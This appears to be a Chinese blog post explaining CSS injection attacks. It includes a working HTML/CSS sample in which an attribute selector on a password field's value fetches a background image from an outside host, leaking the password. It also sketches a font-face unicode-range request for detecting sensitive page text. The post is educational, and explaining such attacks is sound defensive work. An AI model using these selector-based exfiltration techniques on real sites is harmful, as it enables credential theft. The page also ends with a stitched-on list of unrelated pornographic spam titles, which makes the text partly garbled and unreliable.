1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        CSS是如何發(fā)起攻擊的?

        共 3420字,需瀏覽 7分鐘

         ·

        2021-05-15 17:00

        CSS是如何發(fā)起攻擊的

        寫在開頭

        • 我們熟悉XSS攻擊和CSRF等攻擊方式
        • 但是,其他有一種攻擊,是CSS攻擊,今天我就在這里做一個(gè)簡單的解析

        第一種,CSS獲取用戶密碼

        • 當(dāng)用戶輸入指定的密碼是:前端巔峰,就會(huì)發(fā)起請(qǐng)求到指定的接口
        <!DOCTYPE html>
        <html lang="en">
            <head>
                <meta charset="UTF-8" />
                <meta http-equiv="X-UA-Compatible" content="IE=edge" />
                <meta name="viewport" content="width=device-width, initial-scale=1.0" />
                <title>Document</title>
                <style>
                    input[type='password'][value$='前端巔峰'] {
                        background-image: url('https://china-dev.cn');
                    }
                </style>
            </head>
            <body>
                <div id="root">root</div>
                <input type="password" value="前端巔峰"/>
            </body>
        </html>

        china-dev.cn發(fā)起了請(qǐng)求,此時(shí)后臺(tái)已經(jīng)知道了密碼輸入的是:前端巔峰

        • 這個(gè)value,也可以不是全等于,也可以是 *包含,或者^開頭,經(jīng)過一系列復(fù)雜的CSS選擇器組合,大概率可以知道用戶的密碼(通過向后臺(tái)發(fā)送請(qǐng)求,記錄用戶輸入密碼的順序)
        有人會(huì)問,如果通過CSS去import js呢?
        • 這是我在stackoverflow找到的答案

        The '@import' rule allows users to import style rules from other style sheets. Any @import rules must follow all @charset rules and precede all other at-rules and rule sets in a style sheet. The '@import' keyword must be followed by the URI of the style sheet to include. A string is also allowed; it will be interpreted as if it had url(...) around it.

        • W3C的C3/import規(guī)范:https://www.w3.org/TR/css-syntax-3/#import
        • 規(guī)范中寫明,當(dāng)實(shí)際解析樣式表,那些不符合規(guī)則的,在語法檢查樣式表時(shí)被視為無效而刪除。你可以看見CSS中import js可以成功發(fā)起請(qǐng)求,但是不會(huì)解析JS

        第二種,通過font-face去獲取頁面中的敏感數(shù)據(jù)

        • 攻擊場(chǎng)景:一些比較敏感的資料,一些重要任務(wù)瀏覽或者編寫而成
        • 先了解一些前置知識(shí),這是指定名為"myFirstFont"的字體,并指定在哪里可以找到它的URL:
        @font-face
        {
        font-family: myFont;
        src: url('https://china-dev.cn'),
        }

        這里有一個(gè)屬性:unicode-range,可選。定義該字體支持Unicode字符的范圍。默認(rèn)值是"ü+0-10 FFFF",文檔地址:https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range

        unicode-range
        /* 支持的值 */
        unicode-range: U+26;               /* 單個(gè)字符編碼 */
        unicode-range: U+0-7F;
        unicode-range: U+0025-00FF;        /* 字符編碼區(qū)間 */
        unicode-range: U+4??;              /* 通配符區(qū)間 */
        unicode-range: U+0025-00FF, U+4??; /* 多個(gè)值 */
        • unicode-range的常用unicode值及獲取

        對(duì)于我們中文用戶,最常用的有下面這些:

        漢字:[0x4e00,0x9fa5](或十進(jìn)制[19968,40869])
        數(shù)字:[0x30,0x39](或十進(jìn)制[48, 57])
        小寫字母:[0x61,0x7a](或十進(jìn)制[97, 122])
        大寫字母:[0x41,0x5a](或十進(jìn)制[65, 90])
        • 舉一反三,那么根據(jù)復(fù)雜且特定的規(guī)則,也可以得出用戶界面上瀏覽的內(nèi)容是否存在我們想要的敏感數(shù)據(jù),偽代碼實(shí)現(xiàn):
        @font-face
        {
        font-family: myFont;
        src: url('https://china-dev.cn'),
        unicode-range:*******
        }

        CSS其他攻擊手段

        • CSS攻擊手段在我看來,還是有很多種,但是這里就不一一羅列出來了,以防有不法之徒效仿
        • 如果大家有常見的CSS攻擊漏洞,可以在評(píng)論區(qū)一起分享,一起讓W(xué)EB更安全!

        瀏覽 45
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            精品国精品自拍自在线 | 免费无遮挡在线观看视频网站 | 亚洲最大的成人网站4438 | 日韩国日本美女乱伦 | 一级A片强开女处苞 | 偷拍91视频 | 淫色亚洲 | 日本a天堂 | swag在线观看 | 一区二区无码在线 |